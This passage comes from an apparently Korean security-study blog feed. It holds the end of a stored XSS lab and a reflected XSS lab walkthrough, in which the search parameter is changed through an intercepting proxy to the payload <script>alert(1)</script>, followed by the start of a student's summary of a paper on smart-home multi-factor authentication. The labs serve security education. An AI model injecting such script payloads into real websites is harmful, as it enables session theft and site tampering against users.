&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.42.03.png&quot; data-origin-width=&quot;2172&quot; data-origin-height=&quot;1214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmcmc5/dJMcaa6nIzV/ovYlix8gDwgP1mKqwAln9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmcmc5/dJMcaa6nIzV/ovYlix8gDwgP1mKqwAln9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmcmc5/dJMcaa6nIzV/ovYlix8gDwgP1mKqwAln9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbmcmc5%2FdJMcaa6nIzV%2FovYlix8gDwgP1mKqwAln9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;661&quot; height=&quot;369&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.42.03.png&quot; data-origin-width=&quot;2172&quot; data-origin-height=&quot;1214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. Comment 부분에 스크립트 코드 작성 후 forward&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.43.31.png&quot; data-origin-width=&quot;2200&quot; data-origin-height=&quot;620&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBE8Zx/dJMcaaSQiiz/PwwaAuZWkZRmRQNGesUPrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBE8Zx/dJMcaaSQiiz/PwwaAuZWkZRmRQNGesUPrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBE8Zx/dJMcaaSQiiz/PwwaAuZWkZRmRQNGesUPrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBE8Zx%2FdJMcaaSQiiz%2FPwwaAuZWkZRmRQNGesUPrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;579&quot; height=&quot;163&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.43.31.png&quot; data-origin-width=&quot;2200&quot; data-origin-height=&quot;620&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. intercept off 하면 성공메시지 확인 가능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.50.28.png&quot; data-origin-width=&quot;2110&quot; data-origin-height=&quot;994&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwQHid/dJMcaa6nIzW/tFkeFPGgkliVpbaE2YdyT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwQHid/dJMcaa6nIzW/tFkeFPGgkliVpbaE2YdyT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwQHid/dJMcaa6nIzW/tFkeFPGgkliVpbaE2YdyT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwQHid%2FdJMcaa6nIzW%2FtFkeFPGgkliVpbaE2YdyT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;410&quot; height=&quot;193&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.50.28.png&quot; data-origin-width=&quot;2110&quot; data-origin-height=&quot;994&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;검색 파라미터 변조를 통한 Reflected XSS 실습&lt;/span&gt;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. ACCESS THE LAB 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.28.20.png&quot; data-origin-width=&quot;1516&quot; data-origin-height=&quot;1008&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTBESa/dJMcacXqlL1/Uv93aTKyHSZRRBkFCaUxDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTBESa/dJMcacXqlL1/Uv93aTKyHSZRRBkFCaUxDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTBESa/dJMcacXqlL1/Uv93aTKyHSZRRBkFCaUxDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTBESa%2FdJMcacXqlL1%2FUv93aTKyHSZRRBkFCaUxDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;478&quot; height=&quot;318&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.28.20.png&quot; data-origin-width=&quot;1516&quot; data-origin-height=&quot;1008&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 아무 검색어나 입력한 후 intercept on 한 채로 Search&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.08.png&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;968&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ln8UZ/dJMcagZNDbT/xcke1AeCUw6sTKnidaC4Uk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ln8UZ/dJMcagZNDbT/xcke1AeCUw6sTKnidaC4Uk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ln8UZ/dJMcagZNDbT/xcke1AeCUw6sTKnidaC4Uk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fln8UZ%2FdJMcagZNDbT%2Fxcke1AeCUw6sTKnidaC4Uk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;462&quot; height=&quot;289&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.08.png&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;968&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. GET 요청의 Request창에서 search 부분에서 내가 입력한 검색어를 볼 수 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.22.png&quot; data-origin-width=&quot;1744&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYCIQm/dJMcaiQQVo0/k8Utty7Lr5MoECXG6F2Rbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYCIQm/dJMcaiQQVo0/k8Utty7Lr5MoECXG6F2Rbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYCIQm/dJMcaiQQVo0/k8Utty7Lr5MoECXG6F2Rbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYCIQm%2FdJMcaiQQVo0%2Fk8Utty7Lr5MoECXG6F2Rbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;593&quot; height=&quot;380&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.22.png&quot; data-origin-width=&quot;1744&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. search 부분에 페이로드 &lt;span style=&quot;background-color: #ebf0f2; color: #5c5c5b; text-align: left;&quot;&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt; &amp;nbsp;&lt;/span&gt;작성 후 forward&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.33.png&quot; data-origin-width=&quot;1054&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfyzDM/dJMcaciMLLC/UoSC5lvyYOXW03pj7UKkk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfyzDM/dJMcaciMLLC/UoSC5lvyYOXW03pj7UKkk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfyzDM/dJMcaciMLLC/UoSC5lvyYOXW03pj7UKkk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfyzDM%2FdJMcaciMLLC%2FUoSC5lvyYOXW03pj7UKkk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;517&quot; height=&quot;216&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.33.png&quot; data-origin-width=&quot;1054&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. intercept off 하면 alert 창이 뜸&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.42.png&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvI68R/dJMcagyKdf5/3zs46WZla7j0Br28xnsal0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvI68R/dJMcagyKdf5/3zs46WZla7j0Br28xnsal0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvI68R/dJMcagyKdf5/3zs46WZla7j0Br28xnsal0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvI68R%2FdJMcagyKdf5%2F3zs46WZla7j0Br28xnsal0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;446&quot; height=&quot;166&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.42.png&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 확인을 누르면 성공메시지가 뜨는걸 볼 수 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.53.png&quot; data-origin-width=&quot;2286&quot; data-origin-height=&quot;980&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnQ4sx/dJMcag6BhgN/KNVRhSJVko2kdvm9GsGHo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnQ4sx/dJMcag6BhgN/KNVRhSJVko2kdvm9GsGHo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnQ4sx/dJMcag6BhgN/KNVRhSJVko2kdvm9GsGHo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnQ4sx%2FdJMcag6BhgN%2FKNVRhSJVko2kdvm9GsGHo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;506&quot; height=&quot;217&quot; data-filename=&quot;스크린샷 2026-05-16 오전 1.50.53.png&quot; data-origin-width=&quot;2286&quot; data-origin-height=&quot;980&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>SWLUG(2026)/웹해킹</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/77</guid>
      <comments>https://batterygj.tistory.com/77#entry77comment</comments>
      <pubDate>Sat, 16 May 2026 02:03:59 +0900</pubDate>
    </item>
    <item>
      <title>[3] 논문분석 [스마트홈 보안을 위한 역할 기반 다중 인증 시스템 구현]</title>
      <link>https://batterygj.tistory.com/76</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.kci.go.kr/kciportal/landing/article.kci?arti_id=ART002751380&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.kci.go.kr/kciportal/landing/article.kci?arti_id=ART002751380&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1778424698660&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;스마트홈 보안을 위한 역할 기반 다중 인증 시스템 구현&quot; data-og-description=&quot;한국차세대컴퓨팅학회 논문지, 2021, 17(4), 59&quot; data-og-host=&quot;www.kci.go.kr&quot; data-og-source-url=&quot;https://www.kci.go.kr/kciportal/landing/article.kci?arti_id=ART002751380&quot; data-og-url=&quot;https://www.kci.go.kr/kciportal/landing/article.kci?arti_id=ART002751380&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/gaS9x/dJMb9llbACF/vv6dXh5T1YIjZMHIYgj8xk/img.png?width=200&amp;amp;height=200&amp;amp;face=0_0_200_200,https://scrap.kakaocdn.net/dn/p7ZbZ/dJMb9kT7p7G/4mcadvYW74BQL2aYZnbi60/img.png?width=200&amp;amp;height=200&amp;amp;face=0_0_200_200,https://scrap.kakaocdn.net/dn/CNxBE/dJMb9efiroC/WTNi5YgYTckmtLxZQwDzkk/img.png?width=200&amp;amp;height=200&amp;amp;face=0_0_200_200&quot;&gt;&lt;a href=&quot;https://www.kci.go.kr/kciportal/landing/article.kci?arti_id=ART002751380&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.kci.go.kr/kciportal/landing/article.kci?arti_id=ART002751380&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/gaS9x/dJMb9llbACF/vv6dXh5T1YIjZMHIYgj8xk/img.png?width=200&amp;amp;height=200&amp;amp;face=0_0_200_200,https://scrap.kakaocdn.net/dn/p7ZbZ/dJMb9kT7p7G/4mcadvYW74BQL2aYZnbi60/img.png?width=200&amp;amp;height=200&amp;amp;face=0_0_200_200,https://scrap.kakaocdn.net/dn/CNxBE/dJMb9efiroC/WTNi5YgYTckmtLxZQwDzkk/img.png?width=200&amp;amp;height=200&amp;amp;face=0_0_200_200');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;스마트홈 보안을 위한 역할 기반 다중 인증 시스템 구현&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;한국차세대컴퓨팅학회 논문지, 2021, 17(4), 59&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.kci.go.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/LzxAF/dJMcaiJZ0sg/vt2duRiqaF8dZg9U3tknbk/KCI_FI002751380.pdf?attach=1&amp;amp;knm=tfile.pdf&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;KCI_FI002751380.pdf&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;2.06MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;논문 선정 이유&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인간의 생활을 편안하게 만들어주는 스마트홈이 점점 주목을 받고있고 보편화가 되어가고 있기때문에 스마트홈 보안도 중요성이 올라가게 되었다. 보안을 위해 어떤 시스템을 사용하고 있는지 알아보다가 MFA 시스템이 도입된 방안을 알아보기 위해 선정하게되었다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;1. 서론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기기 간 연동에 초점을 맞춘 스마트홈 1.0 시대를 넘어 다양한 스마트홈 서비스가 집안에 파고들면서 집이 곧 플랫폼이 되는 스마트홈 2.0시대를 맞음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트홈: 분산컴퓨팅 기반&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분산 컴퓨팅 환경에서 공유하는 자원이나 정보가 증가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 허가되지 않은 정보의 접근이 발생, 정보의 불법적 사용으로 인한 정보의 누출 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 사용자 인증이나 사용자 작업에 대한 접근 통제 정책을 통한 정보보안의 필요성 증가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트홈 게이트웨이: internet과 home network 중간에서 서비스를 원활하게 중계하고 가정용 기기사이의 중계 역할을 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트홈 네트워크 관리체계는 대부분 일반적 사용자 인증 방식인 아이디,패스워드를 이용한 접근제어 방식 사용(취약점 존재)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 다중인증 시스템을 구현하여 시스템 내외부가 보호될 수 있는 방안을 구현&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(전자서명을 이용: 외부 망으로부터 접근에 대한 보안 강화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역할 기반의 MIB 구조를 이용: home network 망 내부에서도 안전한 권한 제어 가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 관련 연구&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.1 접근통제 정책&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 식별 또는 인증된 사용자가 허가된 범위 안에서 시스템 내부 정보로의 접근을 허용하는 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많이 사용되는 접근 통제 정책&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;강제적 접근통제(MAC): 정보의 보안등급과 사용자나 그가 속한 그룹에 의해 접근 통제&lt;/li&gt;
&lt;li&gt;임의적 접근통제(DAC): 해당 정보의 소유자에 의해 접근통제 관계가 정의&lt;/li&gt;
&lt;li&gt;역할 기반 접근 통제(RBAC): 시스템 내에 필요한 역할과 그 역할이 수행할 수 있는 권한을 정의하고 각 사용자에게 역할을 할당함으로써 각 객체의 접근을 통제&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.2 &amp;nbsp;역할 기반 접근 통제 모델&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시스템 보안 관리자만 역할 권한 관계 설정 변경 가능&lt;/li&gt;
&lt;li&gt;역할은 조직의 접근 정책에 따라 다른 역할과의 상관관계를 가지고 계층구조로 표현됨(유사 권한끼리는 그룹으로 관리)&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;상위역할은 하위역할의 권한을 상속받음&lt;/li&gt;
&lt;li&gt;기본 구성 요소: 사용자(user), 역할(role), 권한(permission)&lt;/li&gt;
&lt;li&gt;사용자-역할(UR)관계, 역할-권한(RP)관계, 역할-역할(RR)관계 존재&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3153.jpg&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wf994/dJMcahLaac6/wQOsaf07ku26LUm3AYCaLk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wf994/dJMcahLaac6/wQOsaf07ku26LUm3AYCaLk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wf994/dJMcahLaac6/wQOsaf07ku26LUm3AYCaLk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwf994%2FdJMcahLaac6%2FwQOsaf07ku26LUm3AYCaLk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;395&quot; height=&quot;138&quot; data-filename=&quot;IMG_3153.jpg&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3. 역할 기반 다중 인증 시스템&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1 시스템 구성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역할 기반의 MIB구현&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;중앙집중방식의 보안 관리 기능&lt;/li&gt;
&lt;li&gt;다중인증 시스템 이용&lt;/li&gt;
&lt;/ul&gt;
